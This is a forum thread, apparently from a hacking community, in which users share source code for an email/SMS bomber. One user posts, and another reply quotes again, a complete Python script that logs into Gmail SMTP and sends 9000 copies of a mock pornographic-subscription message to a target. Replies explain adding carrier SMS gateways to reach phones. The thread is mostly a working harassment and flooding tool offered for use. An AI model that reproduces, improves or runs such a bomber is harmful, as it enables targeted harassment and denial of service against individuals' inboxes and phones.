I recently made an email / sms bomber and released it as a standalone executable. I thought it would be easier and better if I just released it as source code. That way everyone can learn and modify the source to suit their needs.
Here is the source code: http://pastebin.com/fqkHA2Qz
It isn't perfect, however it is pretty good. You could improve it by adding more phone carriers and multithreaded bombs.
Ofcourse, you cannot take credit for this code and if you want to use this in your product, you must get my permission first.
Enjoy!
how do you add carriers from other country?
(Jun 11, 2015 12:27 AM)sfdemo Wrote: how do you add carriers from other country?
You have to find out the gateway address of the carrier you want to add.
The rest is pretty self-explanatory and clearly visible in the code.
I remade the email bomber (confirmed working). It's more organized and what not. Hopefully it helps you learn, if you have any questions about it, hit me up :-)
Code #!/usr/bin/python
# Email/SMS bomber remake by selinux
# Full credits to Introvert for the original idea and source
import smtplib
import time
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
class Banzai:
def __init__(self, config):
self.config = config
self.smtp = smtplib.SMTP(
self.config.get('smtp_host'),
self.config.get('smtp_port')
)
def PearlHarbor(self):
message = MIMEMultipart()
message['From'] = self.config.get('smtp_user')
message['To'] = self.config.get('target')
message['Subject'] = self.config.get('subject')
message.attach(MIMEText(self.config.get('message'), 'plain'))
self.smtp.starttls()
self.smtp.login(self.config.get('smtp_user').split('@')[0], self.config.get('smtp_pass'))
mail_counter = 0
while mail_counter < self.config.get('amount'):
self.smtp.sendmail(self.config.get('smtp_user'), [self.config.get('target')], message.as_string())
mail_counter += 1
print "[+] Mail " + str(mail_counter) + "/" + str(self.config.get('amount')) + " successfully sent! Now sleeping for 10 seconds."
time.sleep(10)
self.smtp.quit()
config = {
'smtp_host': 'smtp.gmail.com',
'smtp_port': 587,
'smtp_user': '[email protected]',
'smtp_pass': 'cats_are_cute12',
'subject': 'Brazzers Membership',
'message': 'Hey, Barack! It seems like you forgot to renew your subscription!',
'target': '[email protected]',
'amount': 9000
}
Banzai(config).PearlHarbor()
(Jun 11, 2015 10:30 AM)Introvert Wrote: You have to find out the gateway address of the carrier you want to add.
The rest is pretty self-explanatory and clearly visible in the code.
currently the providers in my country have disabled sms gateway so i guess it will not be suitable for me
(Jun 11, 2015 06:02 PM)selinux Wrote: I remade the email bomber (confirmed working). It's more organized and what not. Hopefully it helps you learn, if you have any questions about it, hit me up :-)
Code #!/usr/bin/python
# Email/SMS bomber remake by selinux
# Full credits to Introvert for the original idea and source
import smtplib
import time
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
class Banzai:
def __init__(self, config):
self.config = config
self.smtp = smtplib.SMTP(
self.config.get('smtp_host'),
self.config.get('smtp_port')
)
def PearlHarbor(self):
message = MIMEMultipart()
message['From'] = self.config.get('smtp_user')
message['To'] = self.config.get('target')
message['Subject'] = self.config.get('subject')
message.attach(MIMEText(self.config.get('message'), 'plain'))
self.smtp.starttls()
self.smtp.login(self.config.get('smtp_user').split('@')[0], self.config.get('smtp_pass'))
mail_counter = 0
while mail_counter < self.config.get('amount'):
self.smtp.sendmail(self.config.get('smtp_user'), [self.config.get('target')], message.as_string())
mail_counter += 1
print "[+] Mail " + str(mail_counter) + "/" + str(self.config.get('amount')) + " successfully sent! Now sleeping for 10 seconds."
time.sleep(10)
self.smtp.quit()
config = {
'smtp_host': 'smtp.gmail.com',
'smtp_port': 587,
'smtp_user': '[email protected]',
'smtp_pass': 'cats_are_cute12',
'subject': 'Brazzers Membership',
'message': 'Hey, Barack! It seems like you forgot to renew your subscription!',
'target': '[email protected]',
'amount': 9000
}
Banzai(config).PearlHarbor()
That's really interesting. Thanks for the input.
I was actually thinking of using classes and the email library and wanted to add an email counter but I really couldn't be bothered for a while so I never got around to doing it and my code ended up a bit messy.
I really like what you've done with the config. Makes it really nice and easy to use.
Thanks again for the contribution. 😁
(Jun 11, 2015 10:30 PM)sfdemo Wrote: currently the providers in my country have disabled sms gateway so i guess it will not be suitable for me
Oh, man...That really sucks. There are a few other ways I think to send SMS, but I can't really help you as I've never used them before.
Sorry.
|